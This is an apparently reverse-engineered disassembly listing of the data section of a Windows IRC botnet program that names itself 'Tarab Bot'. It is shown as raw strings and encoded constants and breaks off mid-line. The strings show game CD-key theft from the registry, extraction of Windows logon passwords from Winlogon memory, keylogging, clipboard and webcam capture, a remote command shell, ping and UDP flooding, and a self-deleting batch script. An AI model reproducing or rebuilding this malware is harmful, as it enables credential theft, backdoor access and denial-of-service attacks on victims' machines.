aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 10h aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 10h aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:0042AA14o aCdkey db 'CDKey',0 ; DATA XREF: .data:0042AA10o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_42AA0Co align 10h asc_42BC20: ; DATA XREF: sub_408A63+E7o ; sub_408A63+F2o unicode 0, <=>,0 aR: ; DATA XREF: sub_408A63+8Fo ; sub_40EC43:loc_4133E3o unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_408A63+7Eo ; sub_408D2A+45o ... align 10h aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408A63+2Bo align 4 dword_42BC44 dd 72023602h, 28201F62h, 646E6966h, 656C6966h, 6C1F702Eh ; DATA XREF: sub_408C12+C5o dd 2029671Fh, 2BBBB02h aTarabBotFilesF db ' Tarab Bot Files found: %d.',0 align 10h dword_42BC80 dd 72023602h, 28201F62h, 646E6966h, 656C6966h, 6C1F702Eh ; DATA XREF: sub_408C12+5Co dd 2029671Fh, 2BBBB02h aTarabBotSearch db ' Tarab Bot Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408D2A+107o align 4 aS_5 db '%s\*',0 ; DATA XREF: sub_408D2A+1Ao align 10h dword_42BCE0 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh ; DATA XREF: sub_408E7C:loc_408FF5o dd 2029671Fh, 2BBBB02h aTarabBotFail_5 db ' Tarab Bot Failed to enable Debug Privilege.',0 align 10h dword_42BD30 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh ; DATA XREF: sub_408E7C:loc_408FC8o dd 2029671Fh, 2BBBB02h aTarabBotUnable db ' Tarab Bot Unable to find Winlogon Process ID.',0 align 10h dword_42BD80 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh ; DATA XREF: sub_408E7C:loc_408FC1o dd 2029671Fh, 2BBBB02h aTarabBotUnab_0 db ' Tarab Bot Unable to find the password in memory.',0 align 8 dword_42BDD8 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh ; DATA XREF: sub_408E7C+117o dd 2029671Fh, 2BBBB02h aTarabBotTheWin db ' Tarab Bot The Windows logon (Pid: <%d>) information is: Domai' db 'n: \\%S, User: (%S/(no password)).',0 aUserdomain: ; DATA XREF: sub_408E7C+DCo unicode 0, <USERDOMAIN>,0 align 10h aUsername: ; DATA XREF: sub_408E7C+CEo unicode 0, <USERNAME>,0 align 4 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_408E7C+9Ao align 10h aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_408E7C+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_408E7C+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_408E7C+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_408E7C+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_408E7C+55o align 10h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_408E7C+40o ; sub_408E7C+161o ... align 8 dword_42BF38 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh ; DATA XREF: sub_408E7C+35o dd 2029671Fh, 2BBBB02h aTarabBotOnlySu db ' Tarab Bot Only supported on Windows NT/2000.',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_40904E+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_40904E+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_40904E+AFo align 8 dword_42BFA8 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh ; DATA XREF: sub_4094A8+70o ; sub_40953F+C7o dd 2029671Fh, 2BBBB02h aTarabBotTheW_0 db ' Tarab Bot The Windows logon (Pid: <%d>) information is: Domai' db 'n: \\%S, User: (%S/%S).',0 align 10h dword_42C020 dd 72023602h, 28201F62h, 646E6966h, 73736170h, 6C1F702Eh ; DATA XREF: sub_40953F+E1o dd 2029671Fh, 2BBBB02h aTarabBotTheW_1 db ' Tarab Bot The Windows logon (Pid: <%d>) information is: Domai' db 'n: \\%S, User: (%S/(N/A)).',0 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409658+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409658+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409658:loc_40A293o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409658+BE6o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409658+BD9o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409658+BCCo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409658+BBFo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409658+BB2o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409658+BAAo align 10h aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409658:loc_40A1F5o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409658+B68o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409658+B60o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409658:loc_40A1ABo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409658+B0Eo align 10h aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409658+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409658+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409658+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409658:loc_40A137o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409658+AAAo align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409658+AA2o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409658:loc_40A0EDo align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409658+A60o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409658+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409658:loc_40A0A3o align 10h aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409658+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409658+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409658+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409658+9A7o align 10h aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409658+99Ao align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409658+98Do align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409658+980o align 10h aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409658+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409658+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409658+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409658+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409658:loc_409F98o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409658+903o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409658+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409658+8EEo align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409658:loc_409F39o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409658+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409658+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409658+835o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409658+828o align 10h aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409658+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409658+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409658+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409658+7F4o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409658+7E7o align 10h aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409658+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409658+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409658:loc_409E19o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409658+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409658+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409658+66Eo align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409658+661o align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409658+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409658+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409658+63Ao align 10h aAccept db 'accept',0 ; DATA XREF: sub_409658+62Do ; .data:0042ED88o align 4 aListen db 'listen',0 ; DATA XREF: sub_409658+620o align 10h aSelect db 'select',0 ; DATA XREF: sub_409658+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_409658+60Bo align 10h aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409658+5F9o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409658+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409658+5DFo align 4 aSend db 'send',0 ; DATA XREF: sub_409658+5D2o ; sub_40EC43+2196o align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409658+5C5o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409658+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409658+5ABo align 4 aHtons db 'htons',0 ; DATA XREF: sub_409658+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409658+591o align 10h aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409658+584o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409658+577o ; .data:0042F198o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409658+56Ao aSocket db 'socket',0 ; DATA XREF: sub_409658+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409658+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409658+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409658+536o align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409658+529o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409658+51Co align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409658+50Fo align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409658+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409658+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409658+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409658+476o align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_409658+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409658+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409658+44Fo align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409658+442o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409658+435o align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409658+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409658+420o align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409658:loc_409A67o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409658:loc_409A3Fo align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409658+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409658+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409658+375o align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409658+368o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_409658+35Bo align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409658+34Eo align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409658+341o align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409658:loc_409991o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409658+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409658+2FCo align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409658:loc_40994Co align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409658+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409658+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409658+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409658+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409658+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409658+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409658:loc_4098B7o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409658+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409658+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409658+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409658:loc_409850o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409658+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409658+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409658+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409658+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409658+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409658+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409658+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409658+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409658:loc_40978Do ; sub_420D8F+Do align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409658:loc_409760o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409658+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409658+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409658+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409658+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409658+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409658+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409658+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409658+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409658+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409658+2Bo align 10h aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409658+23o align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_409658+Ao align 10h dword_42C960 dd 72023602h, 28201F62h, 65726F63h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40A2E5+2F2o dd 2BBBB02h aDllTestComplet db ' DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+28o align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40A863+72o align 10h aMirc db 'mIRC',0 ; DATA XREF: sub_40A928+5o ; sub_41599D+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40A9AA+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AA4E+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AA70+140o align 8 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AA70+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AA70+48o align 4 unk_42CBA8 db 2 ; DATA XREF: sub_40AC30:loc_40AD01o db 36h, 2, 72h db 62h ; b db 20h, 28h, 66h db 6Ch ; l db 75h, 73h, 68h db 64h ; d db 6Eh, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNotSupportedBy db ' Not supported by this system.',0 align 4 dword_42CBE4 dd 72023602h, 28201F62h, 73756C66h, 736E6468h, 6C1F702Eh ; DATA XREF: sub_40AC30:loc_40ACCFo dd 2029671Fh, 2BBBB02h aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 dword_42CC24 dd 72023602h, 28201F62h, 73756C66h, 736E6468h, 6C1F702Eh ; DATA XREF: sub_40AC30:loc_40AC85o dd 2029671Fh, 2BBBB02h aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_42CC58 db 2 ; DATA XREF: sub_40AC30+45o db 36h, 2, 72h db 62h ; b db 20h, 28h, 66h db 6Ch ; l db 75h, 73h, 68h db 64h ; d db 6Eh, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 unk_42CC94 db 2 ; DATA XREF: sub_40ADB1+13Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 10h unk_42CCD0 db 2 ; DATA XREF: sub_40ADB1+6Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 4 dword_42CD08 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40AF3D+1C7o dd 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_42CD44 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40AF3D+8Eo dd 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B1BC+33o dword_42CD8C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B243:loc_40B375o dd 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42CDCC dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B243+10Fo dd 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_42CE04 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B243:loc_40B329o dd 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 8 dword_42CE48 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B398+194o dd 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 4 dword_42CE8C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B398+14Co dd 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B398+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B54D+39o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40B6ED+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B6ED+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B6ED:loc_40B851o align 4 word_42CFCC dw 3Fh ; DATA XREF: sub_40B6ED:loc_40B7EFr ; sub_40CEA1+1Fo align 10h dword_42CFD0 dd 28207325h, 297325h ; DATA XREF: sub_40B6ED+EBo dword_42CFD8 dd 3F3F3Fh ; DATA XREF: sub_40B6ED:loc_40B7B0o ; .data:loc_41594Eo a2003 db '2003',0 ; DATA XREF: sub_40B6ED+BAo ; .data:0042EC20o align 4 aXp db 'XP',0 ; DATA XREF: sub_40B6ED+AAo ; .data:00415939o align 4 a2k db '2K',0 ; DATA XREF: sub_40B6ED+98o ; .data:00415929o align 4 aMe db 'ME',0 ; DATA XREF: sub_40B6ED+7Eo ; .data:00415910o align 10h a98 db '98',0 ; DATA XREF: sub_40B6ED+6Co ; .data:00415900o align 4 aNt db 'NT',0 ; DATA XREF: sub_40B6ED+5Ao ; .data:004158F0o align 4 a95 db '95',0 ; DATA XREF: sub_40B6ED+46o ; .data:004158E2o align 4 aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40B9A1+ABo align 4 off_42D03C dd offset loc_412F4B+3 ; DATA XREF: sub_40B9A1:loc_40BA15o dword_42D040 dd 4E414Ch ; DATA XREF: sub_40B9A1:loc_40BA0Eo dword_42D044 dd 6C616944h, 70752Dh ; DATA XREF: sub_40B9A1+5Eo dword_42D04C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0 ; DATA XREF: sub_40B9A1+48o unk_42D060 db 2 ; DATA XREF: sub_40BA67:loc_40BC24o db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTarabBotFail_6 db ' Tarab Bot Failed to connect to HTTP server.',0 unk_42D0A8 db 2 ; DATA XREF: sub_40BA67:loc_40BC1Do db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTarabBotCouldN db ' Tarab Bot Could not open a connection.',0 align 4 unk_42D0EC db 2 ; DATA XREF: sub_40BA67+1A6o db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTarabBotInvali db ' Tarab Bot Invalid URL.',0 align 10h unk_42D120 db 2 ; DATA XREF: sub_40BA67:loc_40BC00o db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTarabBotFail_7 db ' Tarab Bot Failed to get requested URL from HTTP server.',0 unk_42D174 db 2 ; DATA XREF: sub_40BA67+192o db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTarabBotUrlVis db ' Tarab Bot URL visited.',0 align 4 asc_42D1A8 db '*/*',0 ; DATA XREF: sub_40BA67+3Bo aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_40BD15+35o aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_40BD15+10o align 4 a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BD8D+60o align 4 dword_42D1EC dd 72023602h, 28201F62h, 73676F6Ch, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40BE2D:loc_40BE62o dd 2BBBB02h aTarabBotCleare db ' Tarab Bot Cleared.',0 align 4 dword_42D21C dd 72023602h, 28201F62h, 73676F6Ch, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40BE2D+20o dd 2BBBB02h aTarabBotClea_0 db ' Tarab Bot Cleared.',0 align 4 unk_42D24C db 2 ; DATA XREF: sub_40BEA0+DCo db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aTarabBotListCo db 'Tarab Bot List complete.',0 align 10h dword_42D280 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40BEA0+3Fo dd 2BBBB02h, 72615420h, 42206261h, 4220746Fh, 6E696765h dd 0 dword_42D2AC dd 80000002h ; DATA XREF: sub_40BFCF+24r off_42D2B0 dd offset aSoftwareMicr_0 ; DATA XREF: sub_40BFCF+1Er ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000002h, 42EA3Ch, 80000001h, 42EA74h, 0 dword_42D2C8 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C16F+170o dd 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 dword_42D30C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C16F+ABo dd 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_42D34C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C16F+47o ; sub_40C330+FDo dd 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 10h dword_42D380 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C330+362o dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh dword_42D3A8 dd 